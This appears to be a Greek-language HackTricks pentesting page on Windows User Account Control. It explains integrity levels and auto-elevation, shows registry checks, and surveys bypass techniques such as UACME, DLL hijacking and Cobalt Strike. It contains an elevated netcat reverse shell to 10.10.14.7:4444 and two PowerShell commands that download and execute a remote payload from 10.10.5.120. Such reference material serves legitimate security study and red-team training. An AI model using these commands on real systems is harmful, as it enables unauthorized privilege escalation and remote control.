UAC - User Account Control
Reading time: 13 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
UAC
User Account Control (UAC) είναι μια δυνατότητα που επιτρέπει μια προτροπή συγκατάθεσης για ανυψωμένες δραστηριότητες. Οι εφαρμογές έχουν διαφορετικά επίπεδα integrity
, και ένα πρόγραμμα με υψηλό επίπεδο μπορεί να εκτελεί εργασίες που θα μπορούσαν ενδεχομένως να θέσουν σε κίνδυνο το σύστημα. Όταν είναι ενεργοποιημένο το UAC, οι εφαρμογές και οι εργασίες εκτελούνται πάντα υπό το πλαίσιο ασφαλείας ενός λογαριασμού μη διαχειριστή εκτός αν ένας διαχειριστής εξουσιοδοτήσει ρητά αυτές τις εφαρμογές/εργασίες να έχουν πρόσβαση επιπέδου διαχειριστή στο σύστημα για να εκτελούνται. Είναι μια δυνατότητα ευκολίας που προστατεύει τους διαχειριστές από ακούσιες αλλαγές αλλά δεν θεωρείται όριο ασφαλείας.
Για περισσότερες πληροφορίες σχετικά με τα επίπεδα ακεραιότητας:
Όταν είναι σε εφαρμογή το UAC, σε έναν χρήστη διαχειριστή δίνονται 2 διακριτικά: ένα τυπικό κλειδί χρήστη, για να εκτελεί κανονικές ενέργειες ως κανονικό επίπεδο, και ένα με τα δικαιώματα διαχειριστή.
Αυτή η σελίδα συζητά πώς λειτουργεί το UAC σε βάθος και περιλαμβάνει τη διαδικασία σύνδεσης, την εμπειρία του χρήστη και την αρχιτεκτονική του UAC. Οι διαχειριστές μπορούν να χρησιμοποιήσουν πολιτικές ασφαλείας για να ρυθμίσουν πώς λειτουργεί το UAC συγκεκριμένα για την οργάνωσή τους σε τοπικό επίπεδο (χρησιμοποιώντας secpol.msc), ή να ρυθμιστεί και να προωθηθεί μέσω Αντικειμένων Πολιτικής Ομάδας (GPO) σε περιβάλλον τομέα Active Directory. Οι διάφορες ρυθμίσεις συζητούνται λεπτομερώς εδώ. Υπάρχουν 10 ρυθμίσεις Πολιτικής Ομάδας που μπορούν να ρυθμιστούν για το UAC. Ο παρακάτω πίνακας παρέχει επιπλέον λεπτομέρειες:
UAC Bypass Theory
Ορισμένα προγράμματα είναι αυτοανυψωμένα αυτόματα αν ο χρήστης ανήκει στην ομάδα διαχειριστών. Αυτές οι δυαδικές έχουν μέσα στα Manifests την επιλογή autoElevate με τιμή True. Η δυαδική πρέπει επίσης να είναι υπογεγραμμένη από τη Microsoft.
Πολλές διαδικασίες αυτοανύψωσης εκθέτουν λειτουργικότητα μέσω COM αντικειμένων ή RPC διακομιστών, που μπορούν να κληθούν από διαδικασίες που εκτελούνται με μέτρια ακεραιότητα (δικαιώματα κανονικού χρήστη). Σημειώστε ότι το COM (Component Object Model) και το RPC (Remote Procedure Call) είναι μέθοδοι που χρησιμοποιούν τα προγράμματα Windows για να επικοινωνούν και να εκτελούν λειτουργίες σε διάφορες διαδικασίες. Για παράδειγμα, το IFileOperation COM object
έχει σχεδιαστεί για να χειρίζεται λειτουργίες αρχείων (αντιγραφή, διαγραφή, μετακίνηση) και μπορεί να ανυψώσει αυτόματα τα δικαιώματα χωρίς προτροπή.
Σημειώστε ότι μπορεί να εκτελούνται ορισμένοι έλεγχοι, όπως ο έλεγχος αν η διαδικασία εκτελέστηκε από τον φάκελο System32, που μπορεί να παρακαμφθεί, για παράδειγμα, εισάγοντας στο explorer.exe ή σε άλλη εκτελέσιμη που βρίσκεται στο System32.
Ένας άλλος τρόπος για να παρακαμφθούν αυτοί οι έλεγχοι είναι να τροποποιηθεί το PEB. Κάθε διαδικασία στα Windows έχει ένα Block Περιβάλλοντος Διαδικασίας (PEB), το οποίο περιλαμβάνει σημαντικά δεδομένα σχετικά με τη διαδικασία, όπως η διαδρομή του εκτελέσιμου. Τροποποιώντας το PEB, οι επιτιθέμενοι μπορούν να προσποιηθούν (spoof) την τοποθεσία της δικής τους κακόβουλης διαδικασίας, κάνοντάς την να φαίνεται ότι εκτελείται από έναν αξιόπιστο φάκελο (όπως το system32). Αυτή η παραποιημένη πληροφορία εξαπατά το COM αντικείμενο ώστε να ανυψώσει αυτόματα τα δικαιώματα χωρίς να ζητήσει προτροπή από τον χρήστη.
Στη συνέχεια, για να παρακαμφθεί το UAC (ανύψωση από μέτριο επίπεδο ακεραιότητας σε υψηλό), ορισμένοι επιτιθέμενοι χρησιμοποιούν αυτούς τους τύπους δυαδικών για να εκτελέσουν αυθαίρετο κώδικα επειδή θα εκτελούνται από μια Διαδικασία Υψηλού επιπέδου ακεραιότητας.
Μπορείτε να ελέγξετε το Manifest μιας δυαδικής χρησιμοποιώντας το εργαλείο sigcheck.exe από το Sysinternals. (sigcheck.exe -m <file>
) Και μπορείτε να δείτε το επίπεδο ακεραιότητας των διαδικασιών χρησιμοποιώντας το Process Explorer ή το Process Monitor (του Sysinternals).
Check UAC
Για να επιβεβαιώσετε αν το UAC είναι ενεργοποιημένο, κάντε:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
Αν είναι 1
τότε το UAC είναι ενεργοποιημένο, αν είναι 0
ή δεν υπάρχει, τότε το UAC είναι ανενεργό.
Στη συνέχεια, ελέγξτε ποιο επίπεδο είναι ρυθμισμένο:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- Αν
0
τότε, το UAC δεν θα ζητήσει επιβεβαίωση (όπως απενεργοποιημένο) - Αν
1
ο διαχειριστής ζητείται να εισάγει όνομα χρήστη και κωδικό πρόσβασης για να εκτελέσει το δυαδικό αρχείο με υψηλά δικαιώματα (σε Secure Desktop) - Αν
2
(Πάντα να με ειδοποιείς) το UAC θα ζητά πάντα επιβεβαίωση από τον διαχειριστή όταν προσπαθεί να εκτελέσει κάτι με υψηλά προνόμια (σε Secure Desktop) - Αν
3
όπως το1
αλλά δεν είναι απαραίτητο σε Secure Desktop - Αν
4
όπως το2
αλλά δεν είναι απαραίτητο σε Secure Desktop - αν
5
(προεπιλογή) θα ζητήσει από τον διαχειριστή να επιβεβαιώσει την εκτέλεση μη Windows δυαδικών αρχείων με υψηλά προνόμια
Στη συνέχεια, πρέπει να ρίξετε μια ματιά στην τιμή του LocalAccountTokenFilterPolicy
Αν η τιμή είναι 0
, τότε, μόνο ο χρήστης RID 500 (ενσωματωμένος Διαχειριστής) μπορεί να εκτελεί διοικητικά καθήκοντα χωρίς UAC, και αν είναι 1
, όλοι οι λογαριασμοί μέσα στην ομάδα "Administrators" μπορούν να τα εκτελούν.
Και, τελικά, ρίξτε μια ματιά στην τιμή του κλειδιού FilterAdministratorToken
Αν 0
(προεπιλογή), ο ενσωματωμένος λογαριασμός Διαχειριστή μπορεί να εκτελεί απομακρυσμένα διοικητικά καθήκοντα και αν 1
ο ενσωματωμένος λογαριασμός Διαχειριστή δεν μπορεί να εκτελεί απομακρυσμένα διοικητικά καθήκοντα, εκτός αν το LocalAccountTokenFilterPolicy
έχει οριστεί σε 1
.
Περίληψη
- Αν
EnableLUA=0
ή δεν υπάρχει, κανένα UAC για κανέναν - Αν
EnableLua=1
καιLocalAccountTokenFilterPolicy=1
, Κανένα UAC για κανέναν - Αν
EnableLua=1
καιLocalAccountTokenFilterPolicy=0
καιFilterAdministratorToken=0
, Κανένα UAC για RID 500 (Ενσωματωμένος Διαχειριστής) - Αν
EnableLua=1
καιLocalAccountTokenFilterPolicy=0
καιFilterAdministratorToken=1
, UAC για όλους
Όλες αυτές οι πληροφορίες μπορούν να συλλεχθούν χρησιμοποιώντας το metasploit module: post/windows/gather/win_privs
Μπορείτε επίσης να ελέγξετε τις ομάδες του χρήστη σας και να αποκτήσετε το επίπεδο ακεραιότητας:
net user %username%
whoami /groups | findstr Level
UAC bypass
tip
Σημειώστε ότι αν έχετε γραφική πρόσβαση στο θύμα, η παράκαμψη UAC είναι απλή καθώς μπορείτε απλά να κάνετε κλικ στο "Ναι" όταν εμφανιστεί το παράθυρο προτροπής UAC.
Η παράκαμψη UAC είναι απαραίτητη στην εξής κατάσταση: η UAC είναι ενεργοποιημένη, η διαδικασία σας εκτελείται σε ένα μέσο επίπεδο ακεραιότητας και ο χρήστης σας ανήκει στην ομάδα διαχειριστών.
Είναι σημαντικό να αναφερθεί ότι είναι πολύ πιο δύσκολο να παρακαμφθεί η UAC αν είναι στο υψηλότερο επίπεδο ασφάλειας (Πάντα) από ότι αν είναι σε οποιοδήποτε από τα άλλα επίπεδα (Προεπιλογή).
UAC disabled
Αν η UAC είναι ήδη απενεργοποιημένη (ConsentPromptBehaviorAdmin
είναι 0
) μπορείτε να εκτελέσετε ένα reverse shell με δικαιώματα διαχειριστή (υψηλό επίπεδο ακεραιότητας) χρησιμοποιώντας κάτι όπως:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
UAC bypass με αντιγραφή διακριτικού
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
Πολύ Βασικός UAC "bypass" (πλήρης πρόσβαση στο σύστημα αρχείων)
Αν έχετε ένα shell με έναν χρήστη που είναι μέσα στην ομάδα Διαχειριστών, μπορείτε να τοποθετήσετε το C$ κοινόχρηστο μέσω SMB (σύστημα αρχείων) τοπικά σε έναν νέο δίσκο και θα έχετε πρόσβαση σε όλα μέσα στο σύστημα αρχείων (ακόμα και στον φάκελο του Διαχειριστή).
warning
Φαίνεται ότι αυτό το κόλπο δεν λειτουργεί πια
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
UAC bypass με το Cobalt Strike
Οι τεχνικές του Cobalt Strike θα λειτουργήσουν μόνο αν το UAC δεν είναι ρυθμισμένο στο μέγιστο επίπεδο ασφάλειας του.
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire και Metasploit έχουν επίσης αρκετά modules για bypass του UAC.
KRBUACBypass
Documentation and tool in https://github.com/wh0amitz/KRBUACBypass
UAC bypass exploits
UACME που είναι μια συλλογή αρκετών UAC bypass exploits. Σημειώστε ότι θα χρειαστεί να compile UACME χρησιμοποιώντας visual studio ή msbuild. Η συλλογή θα δημιουργήσει αρκετά executables (όπως Source\Akagi\outout\x64\Debug\Akagi.exe
), θα χρειαστεί να γνωρίζετε ποιο χρειάζεστε.
Πρέπει να είστε προσεκτικοί γιατί μερικά bypass θα προκαλέσουν άλλες εφαρμογές που θα ειδοποιήσουν τον χρήστη ότι κάτι συμβαίνει.
Το UACME έχει την έκδοση build από την οποία κάθε τεχνική άρχισε να λειτουργεί. Μπορείτε να αναζητήσετε μια τεχνική που επηρεάζει τις εκδόσεις σας:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
Επίσης, χρησιμοποιώντας this σελίδα, μπορείτε να αποκτήσετε την έκδοση Windows 1607
από τις εκδόσεις build.
Περισσότερο UAC bypass
Όλες οι τεχνικές που χρησιμοποιούνται εδώ για να παρακάμψουν το AUC απαιτούν μια πλήρη διαδραστική κονσόλα με το θύμα (μια κοινή κονσόλα nc.exe δεν είναι αρκετή).
Μπορείτε να αποκτήσετε πρόσβαση χρησιμοποιώντας μια meterpreter συνεδρία. Μεταναστεύστε σε μια διαδικασία που έχει την τιμή Session ίση με 1:
(explorer.exe θα πρέπει να λειτουργεί)
UAC Bypass με GUI
Αν έχετε πρόσβαση σε μια GUI μπορείτε απλά να αποδεχθείτε την προτροπή UAC όταν την λάβετε, δεν χρειάζεστε πραγματικά μια παράκαμψη. Έτσι, η απόκτηση πρόσβασης σε μια GUI θα σας επιτρέψει να παρακάμψετε το UAC.
Επιπλέον, αν αποκτήσετε μια συνεδρία GUI που κάποιος χρησιμοποιούσε (πιθανώς μέσω RDP) υπάρχουν ορισμένα εργαλεία που θα εκτελούνται ως διαχειριστής από όπου θα μπορούσατε να τρέξετε ένα cmd για παράδειγμα ως διαχειριστής απευθείας χωρίς να σας ζητηθεί ξανά από το UAC όπως https://github.com/oski02/UAC-GUI-Bypass-appverif. Αυτό μπορεί να είναι λίγο πιο αθόρυβο.
Θορυβώδης brute-force UAC bypass
Αν δεν σας νοιάζει να είστε θορυβώδεις, μπορείτε πάντα να τρέξετε κάτι όπως https://github.com/Chainski/ForceAdmin που ζητά να ανυψώσει δικαιώματα μέχρι ο χρήστης να το αποδεχθεί.
Η δική σας παράκαμψη - Βασική μεθοδολογία UAC bypass
Αν ρίξετε μια ματιά στο UACME θα παρατηρήσετε ότι οι περισσότερες παρακάμψεις UAC εκμεταλλεύονται μια ευπάθεια Dll Hijacking (κυρίως γράφοντας το κακόβουλο dll στο C:\Windows\System32). Διαβάστε αυτό για να μάθετε πώς να βρείτε μια ευπάθεια Dll Hijacking.
- Βρείτε ένα δυαδικό που θα αυτοανυψώνεται (ελέγξτε ότι όταν εκτελείται τρέχει σε υψηλό επίπεδο ακεραιότητας).
- Με το procmon βρείτε γεγονότα "NAME NOT FOUND" που μπορεί να είναι ευάλωτα σε DLL Hijacking.
- Πιθανώς θα χρειαστεί να γράψετε το DLL μέσα σε κάποιες προστατευμένες διαδρομές (όπως C:\Windows\System32) όπου δεν έχετε δικαιώματα εγγραφής. Μπορείτε να παρακάμψετε αυτό χρησιμοποιώντας:
- wusa.exe: Windows 7,8 και 8.1. Επιτρέπει την εξαγωγή του περιεχομένου ενός CAB αρχείου μέσα σε προστατευμένες διαδρομές (επειδή αυτό το εργαλείο εκτελείται από υψηλό επίπεδο ακεραιότητας).
- IFileOperation: Windows 10.
- Ετοιμάστε ένα script για να αντιγράψετε το DLL μέσα στην προστατευμένη διαδρομή και να εκτελέσετε το ευάλωτο και αυτοανυψωμένο δυαδικό.
Μια άλλη τεχνική UAC bypass
Αποτελείται από την παρακολούθηση αν ένα autoElevated binary προσπαθεί να διαβάσει από το μητρώο το όνομα/διαδρομή ενός δυαδικού ή εντολής που θα εκτελεστεί (αυτό είναι πιο ενδιαφέρον αν το δυαδικό αναζητά αυτές τις πληροφορίες μέσα στο HKCU).
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.